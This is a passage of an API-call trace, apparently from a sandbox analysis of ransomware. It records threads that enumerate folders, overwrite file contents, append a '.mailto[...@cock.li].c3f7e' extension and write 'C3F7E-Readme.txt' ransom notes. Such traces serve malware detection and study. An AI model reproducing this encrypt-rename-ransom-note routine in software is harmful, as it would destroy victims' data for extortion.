	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0078.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0078.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d618f0
	[0078.423] wcscpy (in: _Dest=0x2d618f0, _Source="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml"
	[0078.423] wcscat (in: _Dest=0x2d618f0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.423] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xad8f7f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770870
	[0078.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770870) returned 1
	[0078.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddba40) returned 1
	[0078.797] NtQueryInformationFile (in: FileHandle=0x8c4, IoStatusBlock=0xad8f800, FileInformation=0xad8f7d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xad8f800, FileInformation=0xad8f7d8) returned 0x0
	[0078.797] NtSetInformationFile (FileHandle=0x8c4, IoStatusBlock=0xad8f800, FileInformation=0xad8f7d8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d618f0) returned 1
	[0078.798] FlushFileBuffers (hFile=0x8c4) returned 1
	[0080.100] CloseHandle (hObject=0x8c4) returned 1
	[0080.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ecb90
	[0080.207] wcscpy (in: _Dest=0x47ecb90, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0080.207] wcscat (in: _Dest=0x47ecb90, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt"
	[0080.207] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1334
	[0080.266] WriteFile (in: hFile=0x1334, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xad8f7fc, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xad8f7fc*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.267] CloseHandle (hObject=0x1334) returned 1
	[0080.267] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb90) returned 1
	[0080.267] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a0c0) returned 1

Thread:
	id = 223
	os_tid = 0x7d8

	[0076.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0076.693] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x20) returned 1
	[0076.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x968
	[0076.694] GetFileSizeEx (in: hFile=0x968, lpFileSize=0xae0fd90 | out: lpFileSize=0xae0fd90*=39050) returned 1
	[0076.694] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x9886, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.694] ReadFile (in: hFile=0x968, lpBuffer=0xae0fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xae0fd10, lpOverlapped=0x0 | out: lpBuffer=0xae0fd14*, lpNumberOfBytesRead=0xae0fd10*=0x4, lpOverlapped=0x0) returned 1
	[0077.663] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0077.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345a0
	[0077.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345c8
	[0077.664] NtQuerySystemTime (in: CurrentTime=0xae0fcf0 | out: CurrentTime=0xae0fcf0*=132251868043937623) returned 0x0
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x7074c560
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xdf3f1291
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xb2613d1e
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x11bb3b4a
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x99a9aab8
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x832062c4
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x27b3ec2c
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x2203ef7
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xf3519ff8
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x78b0fc68
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xbb4fc8f9
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xf24f7d2e
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xc774f241
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xae7ce5b0
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x498699ef
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xa2990b2
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x99737da7
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x15408a90
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x35b46705
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xb7812cb3
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xdba50bd5
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x2ea2fe05
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xc9a9056d
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xe7d57f97
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xcd7d256
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xa52e6629
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xfe4da5ce
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x376978de
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xf4d3b0a0
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0x64a828d5
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xf06d237c
	[0077.664] RtlRandom (in: Seed=0xae0fcfc | out: Seed=0xae0fcfc) returned 0xbe8a28c5
	[0077.674] ReadFile (in: hFile=0x968, lpBuffer=0x47cf7c0, nNumberOfBytesToRead=0x988a, lpNumberOfBytesRead=0xae0fcec, lpOverlapped=0x0 | out: lpBuffer=0x47cf7c0*, lpNumberOfBytesRead=0xae0fcec*=0x988a, lpOverlapped=0x0) returned 1
	[0077.808] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.808] WriteFile (in: hFile=0x968, lpBuffer=0x47dbfc8*, nNumberOfBytesToWrite=0x988a, lpNumberOfBytesWritten=0xae0fce8, lpOverlapped=0x0 | out: lpBuffer=0x47dbfc8*, lpNumberOfBytesWritten=0xae0fce8*=0x988a, lpOverlapped=0x0) returned 1
	[0080.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47dbfc8) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7c0) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753548) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d780b0
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753548
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d781d0
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753548) returned 1
	[0080.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x105) returned 0x2d5af20
	[0080.043] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.043] WriteFile (in: hFile=0x968, lpBuffer=0x2d5af20*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xae0fd50, lpOverlapped=0x0 | out: lpBuffer=0x2d5af20*, lpNumberOfBytesWritten=0xae0fd50*=0x105, lpOverlapped=0x0) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d781d0) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345a0) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0080.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0080.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986710
	[0080.160] wcscpy (in: _Dest=0x4986710, _Source="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml"
	[0080.160] wcscat (in: _Dest=0x4986710, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.160] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xae0fd08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddac98
	[0080.160] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0xae0fd00, FileInformation=0x2ddac98, Length=0xb0, FileInformationClass=0xa) returned 0x0
	[0080.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddac98) returned 1
	[0080.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d618) returned 1
	[0080.268] NtQueryInformationFile (in: FileHandle=0x968, IoStatusBlock=0xae0fd14, FileInformation=0xae0fcec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xae0fd14, FileInformation=0xae0fcec) returned 0x0
	[0080.268] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0xae0fd14, FileInformation=0xae0fcec, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986710) returned 1
	[0080.269] FlushFileBuffers (hFile=0x968) returned 1
	[0080.270] CloseHandle (hObject=0x968) returned 1
	[0080.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed290
	[0080.272] wcscpy (in: _Dest=0x47ed290, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0080.272] wcscat (in: _Dest=0x47ed290, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt"
	[0080.272] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\c3f7e-readme.txt")) returned 0x20
	[0080.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed290) returned 1
	[0080.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77600) returned 1

Thread:
	id = 224
	os_tid = 0x724

	[0076.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77a20
	[0076.735] wcscpy (in: _Dest=0x2d77a20, _Source="C:\\Program Files\\Common Files\\DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER"
	[0076.735] wcscat (in: _Dest=0x2d77a20, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\"
	[0076.735] wcscat (in: _Dest=0x2d77a20, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\*") returned="C:\\Program Files\\Common Files\\DESIGNER\\*"
	[0076.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4734c40
	[0076.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x4734c40 | out: lpFindFileData=0x4734c40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d707c0
	[0076.736] wcscmp (_String1=".", _String2=".") returned 0
	[0076.736] FindNextFileW (in: hFindFile=0x2d707c0, lpFindFileData=0x4734c40 | out: lpFindFileData=0x4734c40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.737] wcscmp (_String1="..", _String2=".") returned 1
	[0076.737] wcscmp (_String1="..", _String2="..") returned 0
	[0076.737] FindNextFileW (in: hFindFile=0x2d707c0, lpFindFileData=0x4734c40 | out: lpFindFileData=0x4734c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1
	[0076.737] wcscmp (_String1="MSADDNDR.OLB", _String2=".") returned 1
	[0076.737] wcscmp (_String1="MSADDNDR.OLB", _String2="..") returned 1
	[0076.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2d86b98
	[0076.737] wcscpy (in: _Dest=0x2d86b98, _Source="C:\\Program Files\\Common Files\\DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER"
	[0076.737] wcscat (in: _Dest=0x2d86b98, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\"
	[0076.737] wcscat (in: _Dest=0x2d86b98, _Source="MSADDNDR.OLB" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB"
	[0077.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0077.303] FindNextFileW (in: hFindFile=0x2d707c0, lpFindFileData=0x4734c40 | out: lpFindFileData=0x4734c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0
	[0077.304] FindClose (in: hFindFile=0x2d707c0 | out: hFindFile=0x2d707c0) returned 1
	[0077.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734c40) returned 1
	[0077.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77a20) returned 1
	[0077.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732af8) returned 1

Thread:
	id = 225
	os_tid = 0xddc

	[0076.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77a80
	[0076.738] wcscpy (in: _Dest=0x2d77a80, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services"
	[0076.738] wcscat (in: _Dest=0x2d77a80, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\"
	[0076.738] wcscat (in: _Dest=0x2d77a80, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\Services\\*") returned="C:\\Program Files\\Common Files\\Services\\*"
	[0076.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89250
	[0076.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2d89250 | out: lpFindFileData=0x2d89250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70b40
	[0079.655] wcscmp (_String1=".", _String2=".") returned 0
	[0079.655] FindNextFileW (in: hFindFile=0x2d70b40, lpFindFileData=0x2d89250 | out: lpFindFileData=0x2d89250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.655] wcscmp (_String1="..", _String2=".") returned 1
	[0079.655] wcscmp (_String1="..", _String2="..") returned 0
	[0079.655] FindNextFileW (in: hFindFile=0x2d70b40, lpFindFileData=0x2d89250 | out: lpFindFileData=0x2d89250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0079.655] wcscmp (_String1="verisign.bmp", _String2=".") returned 1
	[0079.655] wcscmp (_String1="verisign.bmp", _String2="..") returned 1
	[0079.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ed300
	[0079.655] wcscpy (in: _Dest=0x47ed300, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services"
	[0079.655] wcscat (in: _Dest=0x47ed300, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\"
	[0079.655] wcscat (in: _Dest=0x47ed300, _Source="verisign.bmp" | out: _Dest="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files\\Common Files\\Services\\verisign.bmp"

Thread:
	id = 226
	os_tid = 0x5b8

	[0076.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d858c0
	[0076.739] wcscpy (in: _Dest=0x2d858c0, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0076.739] wcscat (in: _Dest=0x2d858c0, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0076.739] wcscat (in: _Dest=0x2d858c0, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\*"
	[0076.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d849e0
	[0076.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70800
	[0076.739] wcscmp (_String1=".", _String2=".") returned 0
	[0076.739] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.739] wcscmp (_String1="..", _String2=".") returned 1
	[0076.739] wcscmp (_String1="..", _String2="..") returned 0
	[0076.739] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1
	[0076.739] wcscmp (_String1="bin", _String2=".") returned 1
	[0076.739] wcscmp (_String1="bin", _String2="..") returned 1
	[0076.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d85970
